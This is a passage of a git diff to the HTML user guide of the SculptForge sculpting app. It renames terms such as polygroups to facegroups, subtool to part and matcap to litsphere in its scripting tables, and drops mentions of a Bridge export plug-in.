loaded at every start Brush recipe The data that defines a custom brush (direction, depth, plane, pinch, pattern and so on): values, never code .sfbrush A file holding one brush recipe .sfproj A SculptForge project file: the whole scene. See Projects Cross field The directions Quad Remesh wants quad edges to follow at every point of the surface, smoothed over the whole model. Singularities (where three or five quads meet) appear where the field must turn Command palette F3: search every command, brush and setting by name and run it Community gallery Shared CC0 brushes you can install in one click (Community brushes) Console The script console (backtick key): every action appears as a script line Ctrl help Hold Ctrl and point at a control to see what it does, its shortcut and its command Gaussian splat A 3D capture made of soft coloured blobs (from phone scanning apps). Load one as a reference, make it a sculptable mesh, or turn a sculpt into splats. See Gaussian splats and From scan to sculptable mesh Falloff (Gizmo) How far a gizmo move eases in from the mask's edge, as a share of the Part's size: a soft joint when posing. See Gizmo Generate 3D Turn an image or a description into a sculptable model. See Image and text to 3D Gizmo The Move / Scale / Rotate handles (W E R) for placing and posing a Part or its unmasked part. See Gizmo LOD chain A series of lighter copies of a model (LOD0, LOD1...) for game engines. See Geometry MCP Model Context Protocol: sculptforge-cli --mcp lets AI agents such as Claude run SculptForge commands Pivot The point the Gizmo turns and scales about. Alt+click the model to put it there. See The pivot Subdivide One-way subdivision without levels (Tool > Geometry > Subdivide, subdivide); Divide keeps the levels Send to Unreal Export and import a model into a running Unreal Editor in one step (Ctrl+U) Shelves, palettes, trays The interface around the canvas: shelves hold the most-used controls, palettes hold everything, trays hold pinned palettes. See The interface Studio brush folder A shared, read-only brush folder for a team (SCULPTFORGE_BRUSH_PATH). See For studios Paint target (Vertex / Texture) Where painting goes on a Part that has a texture: its vertices (vertex paint) or its texture. Top shelf, next to Rgb. See Texture painting Quad Remesh SculptForge's automatic quad retopology, in Tool > Geometry. See Quad retopology Mirror plane (Quad Remesh) The plane Quad Remesh's Symmetry mirrors across: the model's own middle (the world's centre plane when the model is symmetric about it), found from the model. Like local symmetry. See Quad retopology Padding (gutter) The few texels around each UV island that texture painting and baking also fill, so seams don't show. See Texture painting and Baking Bake Capture a high-poly's detail as images (maps) on a low-poly's UVs. See Baking Cage (front / rear distance) How far in front of and behind the low-poly the bake's rays look for the high-poly. See Baking Displacement map A map of how far the high-poly lies from the low-poly along its normal; mid-grey = 0. See Baking Keep Texture Remesh option (Voxel Remesh, Quad Remesh): give the new surface Auto UVs and project the painted texture onto it, so the paint survives. See Texture painting MikkTSpace The standard way of computing tangents that game engines share, so tangent-space normal maps look the same everywhere. See Baking Normal map A map of surface directions that makes a low-poly shade like the high-poly. Tangent-space maps are relative to the surface (for engines), object-space maps to the model. See Baking Texel One pixel of a texture. Texture painting paints texels; their 3D position on the model decid"},{"p":"glossary.html","c":"Glossary","a":"see-also","h":"See also","t":"Welcome to SculptForge The interface Keyboard and mouse reference"}];
diff --git a/website/guide/selection-sets.html b/website/guide/selection-sets.html
index 77155559..824bbf8b 100644
--- a/website/guide/selection-sets.html
+++ b/website/guide/selection-sets.html
@@ -63,7 +63,7 @@ Type a name in the field next to <strong>Store</strong> (it suggests &quot;Set 1
Tick the channels the set should hold:
</li>
</ol>
-<div class="table-wrap"><table><thead><tr><th>Channel</th><th>What it keeps</th><th>Command name</th></tr></thead><tbody><tr><td><strong>Mask</strong></td><td>The mask, soft edges included.</td><td><code>mask</code></td></tr><tr><td><strong>Groups</strong></td><td>The face groups.</td><td><code>polygroups</code></td></tr><tr><td><strong>Visibility</strong></td><td>Which faces are shown and which are hidden.</td><td><code>visibility</code></td></tr><tr><td><strong>Vertex Paint</strong></td><td>The vertex colours.</td><td><code>paint</code></td></tr><tr><td><strong>UVs</strong></td><td>The UV layout (only when the Part has UVs).</td><td><code>uvs</code></td></tr><tr><td><strong>Shape</strong></td><td>The surface itself, as a morph target.</td><td><code>morph</code></td></tr></tbody></table></div>
+<div class="table-wrap"><table><thead><tr><th>Channel</th><th>What it keeps</th><th>Command name</th></tr></thead><tbody><tr><td><strong>Mask</strong></td><td>The mask, soft edges included.</td><td><code>mask</code></td></tr><tr><td><strong>Groups</strong></td><td>The face groups.</td><td><code>facegroups</code></td></tr><tr><td><strong>Visibility</strong></td><td>Which faces are shown and which are hidden.</td><td><code>visibility</code></td></tr><tr><td><strong>Vertex Paint</strong></td><td>The vertex colours.</td><td><code>paint</code></td></tr><tr><td><strong>UVs</strong></td><td>The UV layout (only when the Part has UVs).</td><td><code>uvs</code></td></tr><tr><td><strong>Shape</strong></td><td>The surface itself, as a morph target.</td><td><code>morph</code></td></tr></tbody></table></div>
<ol start="3">
<li>
Click <strong>Store</strong>. Storing again under the same name replaces that set.
@@ -121,7 +121,7 @@ selection_sets_import path=head.sfsets # into the active Part</code><
<p><strong>OBJ, glTF / GLB, FBX, PLY and STL</strong> have no place for named selections, so sets are not written to them (OBJ still writes the current face groups as <code>g</code> groups). Export the sets to a <code>.sfsets</code> file alongside the model instead.</p>
<h2 id="scripting">Scripting<a class="anchor" href="#scripting" aria-label="Link to this section">#</a></h2>
<p>Every button is a command, so scripts, <code>sculptforge-cli</code>, the MCP server and the AI assistant can use sets:</p>
-<div class="table-wrap"><table><thead><tr><th>Command</th><th>What it does</th></tr></thead><tbody><tr><td><code>selection_set_store name=Head channels=mask,visibility</code></td><td>Store (or replace) a set. <code>channels</code> takes <code>mask</code>, <code>polygroups</code>, <code>paint</code>, <code>visibility</code>, <code>uvs</code>, <code>morph</code> or <code>all</code>.</td></tr><tr><td><code>selection_set_restore name=Head mode=union</code></td><td>Restore; <code>channels=</code> restores some of them (add <code>morph</code> to restore the shape).</td></tr><tr><td><code>selection_set_rename name=Head to=Face</code></td><td>Rename.</td></tr><tr><td><code>selection_set_delete name=Head</code></td><td>Delete.</td></tr><tr><td><code>selection_set_list json=true</code></td><td>List the sets with their channels and levels.</td></tr><tr><td><code>selection_set_combine a=Head b=Ears op=union into=HeadEars</code></td><td>Combine two sets into a new one.</td></tr><tr><td><code>selection_set_from_visible</code></td><td>The quick set from the visible faces.</td></tr><tr><td><code>selection_set_morph_target name=Rest</code></td><td>Make a set the Morph brush&#x27;s target (empty name: none).</td></tr><tr><td><code>selection_set_morph name=Rest amount=0.5</code></td><td>Morph to Set.</td></tr><tr><td><code>selection_sets_export</code> / <code>selection_sets_import</code></td><td><code>.sfsets</code> files.</td></tr></tbody></table></div>
+<div class="table-wrap"><table><thead><tr><th>Command</th><th>What it does</th></tr></thead><tbody><tr><td><code>selection_set_store name=Head channels=mask,visibility</code></td><td>Store (or replace) a set. <code>channels</code> takes <code>mask</code>, <code>facegroups</code>, <code>paint</code>, <code>visibility</code>, <code>uvs</code>, <code>morph</code> or <code>all</code>.</td></tr><tr><td><code>selection_set_restore name=Head mode=union</code></td><td>Restore; <code>channels=</code> restores some of them (add <code>morph</code> to restore the shape).</td></tr><tr><td><code>selection_set_rename name=Head to=Face</code></td><td>Rename.</td></tr><tr><td><code>selection_set_delete name=Head</code></td><td>Delete.</td></tr><tr><td><code>selection_set_list json=true</code></td><td>List the sets with their channels and levels.</td></tr><tr><td><code>selection_set_combine a=Head b=Ears op=union into=HeadEars</code></td><td>Combine two sets into a new one.</td></tr><tr><td><code>selection_set_from_visible</code></td><td>The quick set from the visible faces.</td></tr><tr><td><code>selection_set_morph_target name=Rest</code></td><td>Make a set the Morph brush&#x27;s target (empty name: none).</td></tr><tr><td><code>selection_set_morph name=Rest amount=0.5</code></td><td>Morph to Set.</td></tr><tr><td><code>selection_sets_export</code> / <code>selection_sets_import</code></td><td><code>.sfsets</code> files.</td></tr></tbody></table></div>
<p>In Python (<code>import sculptforge as sf</code>), push and pull sets as NumPy arrays:</p>
<div class="code-block"><pre class="code"><code class="language-python">doc.set_selection_set(&quot;Eyes&quot;, mask=eye_mask, hidden=hidden_faces) # store from arrays (one undo step)
doc.selection_sets # [{&#x27;name&#x27;: &#x27;Eyes&#x27;, &#x27;channels&#x27;: [...], ...}]
diff --git a/website/guide/texture-painting.html b/website/guide/texture-painting.html
index 03a8a842..836fa9ed 100644
--- a/website/guide/texture-painting.html
+++ b/website/guide/texture-painting.html
@@ -157,8 +157,8 @@ UVs outside the 0-1 square (other UDIM tiles) aren&#x27;t painted yet; the <a hr
</li>
</ul>
<h2 id="scripting">Scripting<a class="anchor" href="#scripting" aria-label="Link to this section">#</a></h2>
-<div class="table-wrap"><table><thead><tr><th>Command</th><th>What it does</th></tr></thead><tbody><tr><td><code>uv_auto</code></td><td>Unwrap the active Part (xatlas); <code>resolution=4096</code> packs the islands for that texture size. A painted texture moves onto the new UVs (<code>keep_texture=false</code> leaves it as it was)</td></tr><tr><td><code>texture_create size=2048</code></td><td>Give the Part a texture (1024, 2048, 4096, 8192 or <code>1k</code>...<code>8k</code>) and paint into it; <code>from_polypaint=true</code> starts from the vertex paint</td></tr><tr><td><code>paint_target target=texture</code></td><td>Where painting goes: <code>vertex</code> or <code>texture</code></td></tr><tr><td><code>texture_from_polypaint</code></td><td>Bake the vertex paint into the active texture layer</td></tr><tr><td><code>polypaint_from_texture</code></td><td>Copy the texture into the vertex paint</td></tr><tr><td><code>texture_export path=skin.png</code></td><td>Save the texture as a PNG</td></tr><tr><td><code>texture_import path=skin.png</code></td><td>Load an image as the texture</td></tr><tr><td><code>texture_delete</code></td><td>Remove the texture</td></tr></tbody></table></div>
-<p><code>remesh</code>, <code>qremesh</code>, <code>subtool_merge_down</code> and <code>subtool_merge_visible</code> keep a texture unless you add <code>keep_texture=false</code>.</p>
+<div class="table-wrap"><table><thead><tr><th>Command</th><th>What it does</th></tr></thead><tbody><tr><td><code>uv_auto</code></td><td>Unwrap the active Part (xatlas); <code>resolution=4096</code> packs the islands for that texture size. A painted texture moves onto the new UVs (<code>keep_texture=false</code> leaves it as it was)</td></tr><tr><td><code>texture_create size=2048</code></td><td>Give the Part a texture (1024, 2048, 4096, 8192 or <code>1k</code>...<code>8k</code>) and paint into it; <code>from_vertexpaint=true</code> starts from the vertex paint</td></tr><tr><td><code>paint_target target=texture</code></td><td>Where painting goes: <code>vertex</code> or <code>texture</code></td></tr><tr><td><code>texture_from_vertexpaint</code></td><td>Bake the vertex paint into the active texture layer</td></tr><tr><td><code>vertexpaint_from_texture</code></td><td>Copy the texture into the vertex paint</td></tr><tr><td><code>texture_export path=skin.png</code></td><td>Save the texture as a PNG</td></tr><tr><td><code>texture_import path=skin.png</code></td><td>Load an image as the texture</td></tr><tr><td><code>texture_delete</code></td><td>Remove the texture</td></tr></tbody></table></div>
+<p><code>remesh</code>, <code>qremesh</code>, <code>part_merge_down</code> and <code>part_merge_visible</code> keep a texture unless you add <code>keep_texture=false</code>.</p>
<p><code>paint_fill</code>, <code>paint_from_cavity</code>, <code>paint_clear</code> and every <code>paint_layer_*</code> command work on the texture while <code>paint_target</code> is <code>texture</code>. See <a href="scripting.html">Scripting and automation</a>.</p>
</article>
<nav class="pager" aria-label="Previous and next chapter"><a class="prev" rel="prev" href="vertex-paint.html"><span>Previous</span>Vertex Paint and materials</a><a class="next" rel="next" href="uv-editor.html"><span>Next</span>UV Editor</a></nav>
diff --git a/website/guide/troubleshooting.html b/website/guide/troubleshooting.html
index 01da8b89..07fdb197 100644
--- a/website/guide/troubleshooting.html
+++ b/website/guide/troubleshooting.html
@@ -208,7 +208,7 @@ To start completely fresh, quit SculptForge and delete <code>ui.json</code> (lay
<h2 id="recovering-work-after-a-crash">Recovering work after a crash<a class="anchor" href="#recovering-work-after-a-crash" aria-label="Link to this section">#</a></h2>
<p>SculptForge autosaves unsaved work every 5 minutes by default (<strong>Edit &gt; Preferences &gt; Autosave</strong>, 0 turns it off). After a crash, the next start asks &quot;SculptForge did not close normally last time. Restore the autosaved work?&quot;. <strong>Restore</strong> opens it as unsaved work (save it under a name); <strong>Discard</strong> deletes it. See <a href="projects.html">Projects, autosave and snapshots</a>. The dialog also points to the crashed session&#x27;s <a href="#the-log-file">log file</a>.</p>
<h2 id="frequently-asked-questions">Frequently asked questions<a class="anchor" href="#frequently-asked-questions" aria-label="Link to this section">#</a></h2>
-<p><strong>Can SculptForge open another sculpting app&#x27;s own project files?</strong> Not directly: those formats are proprietary and undocumented. Export OBJ or FBX from that app, use the <a href="exporting.html#exchange-models-through-the-bridge">Bridge</a>, or convert a whole library once with the free Bridge export plug-in (see the <a href="https://github.com/islandmed/SculptForge/blob/main/integrations/bridge-plugin/README.md" rel="noopener">Bridge setup page</a>).</p>
+<p><strong>Can SculptForge open another sculpting app&#x27;s own project files?</strong> Not directly: those formats are proprietary and undocumented. Export OBJ or FBX from that app, or use the <a href="exporting.html#exchange-models-through-the-bridge">Bridge</a>.</p>
<p><strong>Does it have subdivision levels, voxel remesh, quad remesh or UVs?</strong> Yes: <strong>Voxel Remesh</strong>, <strong>Quad Remesh</strong> (with <strong>Project All</strong> to bring the detail back; see <a href="retopology.html">Quad retopology</a>), <strong>Auto UV</strong> unwraps any model, and Divide adds subdivision levels you can step up and down (see <a href="subdivision-levels.html">Subdivision levels</a>). <strong>Dynamic</strong> on the top shelf is dynamic topology, like dynamic topology (see <a href="dynamic-topology.html">Dynamic topology</a>).</p>
<p><strong>Is it really free? Can I sell what I make?</strong> Yes and yes. SculptForge is GPL-3.0-or-later free software; the licence covers the program, not your models. The AI models have their own licences (see <a href="generate-3d.html#privacy-and-model-licences">Image and text to 3D</a>).</p>
<p><strong>Does SculptForge send anything about me anywhere?</strong> No. There is no telemetry and no account. AI features talk only to the service you choose, when you use them.</p>
diff --git a/website/guide/uv-editor.html b/website/guide/uv-editor.html
index 77cab02c..2c8a05a6 100644
--- a/website/guide/uv-editor.html
+++ b/website/guide/uv-editor.html
@@ -157,7 +157,7 @@ Click to select (<kbd>Shift</kbd> adds, <kbd>Ctrl</kbd> removes); drag on an emp
<p>Every UV operation is one undo step (<kbd>Ctrl</kbd>+<kbd>Z</kbd>), drags included: the UVs, seams and pins, and the texture when it moved with them. Seams and pins are saved with the project.</p>
<h2 id="scripting">Scripting<a class="anchor" href="#scripting" aria-label="Link to this section">#</a></h2>
<p>Every operation is a command, for scripts, <code>sculptforge-cli</code>, Python (<code>sf.run(doc, &quot;uv_unwrap&quot;, method=&quot;isometric&quot;)</code>) and the AI assistant. &quot;The selection&quot; is the UV Editor&#x27;s (set it with <code>uv_select</code>); with nothing selected the commands work on the whole Part.</p>
-<div class="table-wrap"><table><thead><tr><th>Command</th><th>What it does</th></tr></thead><tbody><tr><td><code>uv_unwrap</code></td><td>Unwrap: <code>method=isometric</code> (Least Stretch), <code>conformal</code>, <code>polygroups</code> (By Face Groups), <code>planar</code>, <code>unfold</code> or <code>auto</code>; <code>iterations=</code>, <code>selected=</code>, <code>tiles=</code>, <code>margin=</code>, <code>rotate=</code>, <code>density=</code>, <code>pack=false</code> (fit in place), <code>keep_texture=</code></td></tr><tr><td><code>uv_pack</code></td><td>Pack: <code>margin=</code> (texels), <code>tiles=</code> (UDIM tiles), <code>first_tile=</code>, <code>rotate=</code>, <code>equal_density=</code>, <code>density=</code> (texels per unit, as many tiles as needed), <code>resolution=</code>, <code>keep_texture=</code></td></tr><tr><td><code>uv_seam</code></td><td>Seams: <code>op=mark</code> / <code>clear</code> (the selection), <code>path from= to=</code> (shortest edge path between two vertices; <code>clear=true</code>), <code>polygroups</code>, <code>islands</code>, <code>angle angle=60</code>, <code>clear_all</code></td></tr><tr><td><code>uv_select</code></td><td><code>op=all</code>, <code>none</code>, <code>invert</code>, <code>island face=</code>, <code>face face=</code>, <code>polygroup group=</code>, <code>rect u0= v0= u1= v1=</code>, <code>seams</code>, <code>mode</code>; <code>mode=vertex/edge/face/island</code>, <code>add=true</code></td></tr><tr><td><code>uv_transform</code></td><td><code>move_u=</code>, <code>move_v=</code>, <code>rotate=</code> (degrees), <code>scale=</code>, <code>scale_u=</code>, <code>scale_v=</code> about the selection&#x27;s centre</td></tr><tr><td><code>uv_edit</code></td><td><code>op=pin</code>, <code>unpin</code>, <code>clear_pins</code>, <code>weld</code>, <code>split</code>, <code>straighten</code>, <code>flip_u</code>, <code>flip_v</code></td></tr><tr><td><code>uv_density</code></td><td><code>op=set value=</code>, <code>op=match</code> (<code>match=mean</code> or <code>first</code>), <code>op=info</code>; <code>resolution=</code></td></tr><tr><td><code>uv_trim</code></td><td><code>strip=2 strips=4</code> (or <code>0.5,0.25,0.25</code> or <code>0-0.5;0.5-1</code>), <code>fit_width=</code>, <code>margin=</code></td></tr><tr><td><code>uv_info</code></td><td>Islands, seams, pins, texel density, the UDIM tiles in use and the mean stretch</td></tr></tbody></table></div>
+<div class="table-wrap"><table><thead><tr><th>Command</th><th>What it does</th></tr></thead><tbody><tr><td><code>uv_unwrap</code></td><td>Unwrap: <code>method=isometric</code> (Least Stretch), <code>conformal</code>, <code>facegroups</code> (By Face Groups), <code>planar</code>, <code>unfold</code> or <code>auto</code>; <code>iterations=</code>, <code>selected=</code>, <code>tiles=</code>, <code>margin=</code>, <code>rotate=</code>, <code>density=</code>, <code>pack=false</code> (fit in place), <code>keep_texture=</code></td></tr><tr><td><code>uv_pack</code></td><td>Pack: <code>margin=</code> (texels), <code>tiles=</code> (UDIM tiles), <code>first_tile=</code>, <code>rotate=</code>, <code>equal_density=</code>, <code>density=</code> (texels per unit, as many tiles as needed), <code>resolution=</code>, <code>keep_texture=</code></td></tr><tr><td><code>uv_seam</code></td><td>Seams: <code>op=mark</code> / <code>clear</code> (the selection), <code>path from= to=</code> (shortest edge path between two vertices; <code>clear=true</code>), <code>facegroups</code>, <code>islands</code>, <code>angle angle=60</code>, <code>clear_all</code></td></tr><tr><td><code>uv_select</code></td><td><code>op=all</code>, <code>none</code>, <code>invert</code>, <code>island face=</code>, <code>face face=</code>, <code>facegroup group=</code>, <code>rect u0= v0= u1= v1=</code>, <code>seams</code>, <code>mode</code>; <code>mode=vertex/edge/face/island</code>, <code>add=true</code></td></tr><tr><td><code>uv_transform</code></td><td><code>move_u=</code>, <code>move_v=</code>, <code>rotate=</code> (degrees), <code>scale=</code>, <code>scale_u=</code>, <code>scale_v=</code> about the selection&#x27;s centre</td></tr><tr><td><code>uv_edit</code></td><td><code>op=pin</code>, <code>unpin</code>, <code>clear_pins</code>, <code>weld</code>, <code>split</code>, <code>straighten</code>, <code>flip_u</code>, <code>flip_v</code></td></tr><tr><td><code>uv_density</code></td><td><code>op=set value=</code>, <code>op=match</code> (<code>match=mean</code> or <code>first</code>), <code>op=info</code>; <code>resolution=</code></td></tr><tr><td><code>uv_trim</code></td><td><code>strip=2 strips=4</code> (or <code>0.5,0.25,0.25</code> or <code>0-0.5;0.5-1</code>), <code>fit_width=</code>, <code>margin=</code></td></tr><tr><td><code>uv_info</code></td><td>Islands, seams, pins, texel density, the UDIM tiles in use and the mean stretch</td></tr></tbody></table></div>
<div class="code-block"><pre class="code"><code>uv_seam op=face groups
uv_unwrap method=isometric
uv_pack tiles=2 margin=8
diff --git a/website/guide/vertex-paint.html b/website/guide/vertex-paint.html
index 0c99e23f..d7eeb34f 100644
--- a/website/guide/vertex-paint.html
+++ b/website/guide/vertex-paint.html
@@ -210,7 +210,7 @@ Open <strong>Render &gt; Materials</strong>, or the <strong>Material</strong> ta
<strong>Render &gt; Materials &gt; Load Lit Sphere...</strong> picks an image. It joins the material list under its file name, the view uses it, and a copy goes into the <strong>Lit Spheres</strong> folder of your library (<strong>Documents/SculptForge/Lit Spheres</strong>, or the folder set in <strong>Edit &gt; Preferences &gt; Library</strong>), so it is there next time.
</li>
<li>
-Or put images into that <strong>Lit Spheres</strong> folder yourself: they show up the next time you open the material picker, <strong>Render &gt; Materials</strong> or the Library&#x27;s Material tab, no restart needed. Studios can share a read-only folder by listing it in the <code>SCULPTFORGE_MATCAP_PATH</code> environment variable (separated by <code>:</code>, <code>;</code> on Windows); those load when SculptForge starts.
+Or put images into that <strong>Lit Spheres</strong> folder yourself: they show up the next time you open the material picker, <strong>Render &gt; Materials</strong> or the Library&#x27;s Material tab, no restart needed. Studios can share a read-only folder by listing it in the <code>SCULPTFORGE_LITSPHERE_PATH</code> environment variable (separated by <code>:</code>, <code>;</code> on Windows); those load when SculptForge starts.
</li>
<li>
To remove one, right-click it in the material picker or palette and choose <strong>Remove</strong>. An image from your Lit Spheres folder goes to the trash (the Recycle Bin on Windows), so you can still get it back. On macOS it is only hidden until you restart, and the message says where its file is so you can delete it yourself. Built-in materials can&#x27;t be removed.
@@ -232,7 +232,7 @@ To remove one, right-click it in the material picker or palette and choose <stro
<p>Shading works with every material, vertex paint, textures and the mask. Like the material, it only changes the view: exports are unaffected. Projects save the scene&#x27;s shading and each Part&#x27;s own; projects from before open with your preferred shading. The scene&#x27;s shading you choose is also the preference for the next session once you <strong>Store Config</strong> (<kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>I</kbd>). Smooth and Flat have no default shortcut, so no classic key changes meaning; assign one under <strong>Edit &gt; Preferences &gt; Hotkeys</strong> if you switch often.</p>
<aside class="callout callout-not-yet"><p><strong>Not yet:</strong> loading your own Lit Sphere images, and physically based materials or BPR-style renders.</p></aside>
<h2 id="scripting">Scripting<a class="anchor" href="#scripting" aria-label="Link to this section">#</a></h2>
-<div class="table-wrap"><table><thead><tr><th>Command</th><th>What it does</th></tr></thead><tbody><tr><td><code>set_color color=#c08060</code></td><td>Set the paint colour: <code>rrggbb</code>, <code>#rrggbb</code> (quote it in scripts), <code>r,g,b</code> or a name such as <code>white</code>, <code>skin</code>, <code>bone</code></td></tr><tr><td><code>paint_fill area=unmasked</code></td><td>Fill; <code>area</code> is <code>unmasked</code> (default), <code>masked</code> or <code>all</code>; <code>strength</code> 0-1</td></tr><tr><td><code>paint_from_cavity color=#202020 strength=0.7 smoothing=2</code></td><td>Cavity paint (defaults: dark brown, 0.7, 2 blur passes)</td></tr><tr><td><code>paint_clear</code></td><td>Remove all vertex paint, paint layers included</td></tr><tr><td><code>paint_layer_add name=Dirt blend=multiply opacity=0.8</code></td><td>Add a paint layer above the active one and paint on it</td></tr><tr><td><code>paint_layer_set index=0 opacity=0.5 blend=overlay visible=false locked=true name=Grime</code></td><td>Change a layer (<code>layer=Dirt</code> picks it by name; default: the active layer)</td></tr><tr><td><code>paint_layer_select layer=Base</code></td><td>Paint on another layer (<code>index=-1</code> is Base, 0 the first layer above it)</td></tr><tr><td><code>paint_layer_duplicate</code>, <code>paint_layer_delete</code>, <code>paint_layer_clear</code></td><td>Copy, delete or clear the active (or given) layer</td></tr><tr><td><code>paint_layer_move direction=up</code></td><td>Move a layer up or down the stack</td></tr><tr><td><code>paint_layer_merge</code> / <code>paint_layer_flatten</code></td><td>Merge down / bake every visible layer into Base</td></tr><tr><td><code>paint_layer_list</code></td><td>List the layers, top first (<code>*</code> marks the active one)</td></tr><tr><td><code>set_material name=Chrome</code></td><td>Viewport material: a Lit Sphere name (<code>Soft Clay</code> is the default, your own Lit Spheres included) or <code>studio</code> (desktop app only)</td></tr><tr><td><code>load_matcap path=gold.png</code></td><td>Load a Lit Sphere image and use it; <code>keep=false</code> doesn&#x27;t copy it into the Lit Spheres folder (desktop app only)</td></tr><tr><td><code>remove_matcap name=Gold</code></td><td>Remove one of your Lit Spheres; its image in the Lit Spheres folder goes to the trash (desktop app only)</td></tr><tr><td><code>set_background mode=flat color=60,70,80</code></td><td>The view&#x27;s background: <code>gradient</code> (the default) or <code>flat</code> with a colour (<code>#rrggbb</code>, <code>r,g,b</code> or a name); see <a href="interface.html#the-background">The background</a> (desktop app only)</td></tr><tr><td><code>set_shading mode=flat</code></td><td>The scene&#x27;s shading: <code>smooth</code> (the default) or <code>flat</code> (desktop app only)</td></tr><tr><td><code>subtool_shading mode=smooth name=Eyes</code></td><td>A Part&#x27;s own shading: <code>default</code> (follow the scene), <code>smooth</code> or <code>flat</code>; <code>index</code> or <code>name</code> picks the Part (default: the active one)</td></tr></tbody></table></div>
+<div class="table-wrap"><table><thead><tr><th>Command</th><th>What it does</th></tr></thead><tbody><tr><td><code>set_color color=#c08060</code></td><td>Set the paint colour: <code>rrggbb</code>, <code>#rrggbb</code> (quote it in scripts), <code>r,g,b</code> or a name such as <code>white</code>, <code>skin</code>, <code>bone</code></td></tr><tr><td><code>paint_fill area=unmasked</code></td><td>Fill; <code>area</code> is <code>unmasked</code> (default), <code>masked</code> or <code>all</code>; <code>strength</code> 0-1</td></tr><tr><td><code>paint_from_cavity color=#202020 strength=0.7 smoothing=2</code></td><td>Cavity paint (defaults: dark brown, 0.7, 2 blur passes)</td></tr><tr><td><code>paint_clear</code></td><td>Remove all vertex paint, paint layers included</td></tr><tr><td><code>paint_layer_add name=Dirt blend=multiply opacity=0.8</code></td><td>Add a paint layer above the active one and paint on it</td></tr><tr><td><code>paint_layer_set index=0 opacity=0.5 blend=overlay visible=false locked=true name=Grime</code></td><td>Change a layer (<code>layer=Dirt</code> picks it by name; default: the active layer)</td></tr><tr><td><code>paint_layer_select layer=Base</code></td><td>Paint on another layer (<code>index=-1</code> is Base, 0 the first layer above it)</td></tr><tr><td><code>paint_layer_duplicate</code>, <code>paint_layer_delete</code>, <code>paint_layer_clear</code></td><td>Copy, delete or clear the active (or given) layer</td></tr><tr><td><code>paint_layer_move direction=up</code></td><td>Move a layer up or down the stack</td></tr><tr><td><code>paint_layer_merge</code> / <code>paint_layer_flatten</code></td><td>Merge down / bake every visible layer into Base</td></tr><tr><td><code>paint_layer_list</code></td><td>List the layers, top first (<code>*</code> marks the active one)</td></tr><tr><td><code>set_material name=Chrome</code></td><td>Viewport material: a Lit Sphere name (<code>Soft Clay</code> is the default, your own Lit Spheres included) or <code>studio</code> (desktop app only)</td></tr><tr><td><code>load_litsphere path=gold.png</code></td><td>Load a Lit Sphere image and use it; <code>keep=false</code> doesn&#x27;t copy it into the Lit Spheres folder (desktop app only)</td></tr><tr><td><code>remove_litsphere name=Gold</code></td><td>Remove one of your Lit Spheres; its image in the Lit Spheres folder goes to the trash (desktop app only)</td></tr><tr><td><code>set_background mode=flat color=60,70,80</code></td><td>The view&#x27;s background: <code>gradient</code> (the default) or <code>flat</code> with a colour (<code>#rrggbb</code>, <code>r,g,b</code> or a name); see <a href="interface.html#the-background">The background</a> (desktop app only)</td></tr><tr><td><code>set_shading mode=flat</code></td><td>The scene&#x27;s shading: <code>smooth</code> (the default) or <code>flat</code> (desktop app only)</td></tr><tr><td><code>part_shading mode=smooth name=Eyes</code></td><td>A Part&#x27;s own shading: <code>default</code> (follow the scene), <code>smooth</code> or <code>flat</code>; <code>index</code> or <code>name</code> picks the Part (default: the active one)</td></tr></tbody></table></div>
<div class="code-block"><pre class="code"><code class="language-text">set_color color=&quot;#d9b38c&quot;; paint_fill; paint_from_cavity strength=0.5
paint_layer_add name=Dirt blend=multiply opacity=0.8; paint_from_cavity color=4a2c18 strength=0.9</code></pre><button class="copy" type="button" aria-label="Copy">Copy</button></div>
<h2 id="see-also">See also<a class="anchor" href="#see-also" aria-label="Link to this section">#</a></h2>
diff --git a/website/guide/whats-new.html b/website/guide/whats-new.html
index 5b59d592..a1fb1cc1 100644
--- a/website/guide/whats-new.html
+++ b/website/guide/whats-new.html
@@ -565,7 +565,7 @@ Idle, SculptForge no longer keeps your graphics card busy: it draws a new frame
<h4 id="texture-painting-one-click-to-start-and-faster">Texture painting: one click to start, and faster<a class="anchor" href="#texture-painting-one-click-to-start-and-faster" aria-label="Link to this section">#</a></h4>
<p>With the Paint brush on, a Part without a texture now shows <strong>New Texture</strong> on the top shelf and in the Color palette: click it and SculptForge unwraps the model if it has no UVs (Auto UV, in the background) and gives it a texture, so the next stroke paints texels. Big brushes on 4K textures paint four to five times faster. See <a href="texture-painting.html">Texture painting</a>.</p>
<h4 id="bring-a-library-over">Bring a library over<a class="anchor" href="#bring-a-library-over" aria-label="Link to this section">#</a></h4>
-<p>Another app&#x27;s library files are proprietary, but a free export plug-in now converts them once, and then SculptForge opens the library file itself, every Part with its face groups, vertex paint, mask and UVs. See the <a href="https://github.com/islandmed/SculptForge/blob/main/integrations/bridge-plugin/README.md" rel="noopener">Bridge setup page</a>.</p><h3 id="version-08" class="wn-ver">Version 0.8<time datetime="2026-10-25">2026-10-25</time></h3><p>Dynamic topology, vector displacement brushes, Quad Remesh Guides, and sculpt layers on every subdivision level.</p>
+<p>A folder of numbered Bridge files opens as one scene, every Part with its face groups, vertex paint, mask and UVs.</p><h3 id="version-08" class="wn-ver">Version 0.8<time datetime="2026-10-25">2026-10-25</time></h3><p>Dynamic topology, vector displacement brushes, Quad Remesh Guides, and sculpt layers on every subdivision level.</p>
<h4 id="dynamic-topology">Dynamic topology<a class="anchor" href="#dynamic-topology" aria-label="Link to this section">#</a></h4>
<p>Turn on <strong>Dynamic</strong> on the top shelf and the brush adds triangles where it needs detail and removes them where it doesn&#x27;t: pull a sphere into horns or fingers without stretching, block in from a ball without remeshing. <strong>Detail</strong> sets how small the triangles get, relative to the brush (zoom in for finer ones) or, with <strong>Constant detail</strong>, one size for the whole mesh. Symmetry makes mirrored triangles, borders and masks are kept, and each stroke is one small undo step. See <a href="dynamic-topology.html">Dynamic topology</a>.</p>
<h4 id="vector-displacement-brushes">Vector displacement brushes<a class="anchor" href="#vector-displacement-brushes" aria-label="Link to this section">#</a></h4>
diff --git a/website/studios.html b/website/studios.html
index a3dda749..444af443 100644
--- a/website/studios.html
+++ b/website/studios.html
@@ -258,7 +258,7 @@
<article class="card">
<h3>Bridge</h3>
<p>Exchanges Parts with another sculpting app through a shared bridge folder, with face groups, mask, vertex
- paint and UVs. A small export plug-in converts a whole library once.</p>
+ paint and UVs.</p>
</article>
<article class="card">
<h3>Unreal Engine</h3>
@@ -268,7 +268,7 @@
<article class="card">
<h3>File formats</h3>
<p>OpenUSD (.usda, .usdz), FBX (reads any version, writes 7.4 binary), glTF / GLB, OBJ, PLY, STL and
- .Bridge files. Exports are checked with OpenUSD's usdchecker and the Khronos glTF validator.</p>
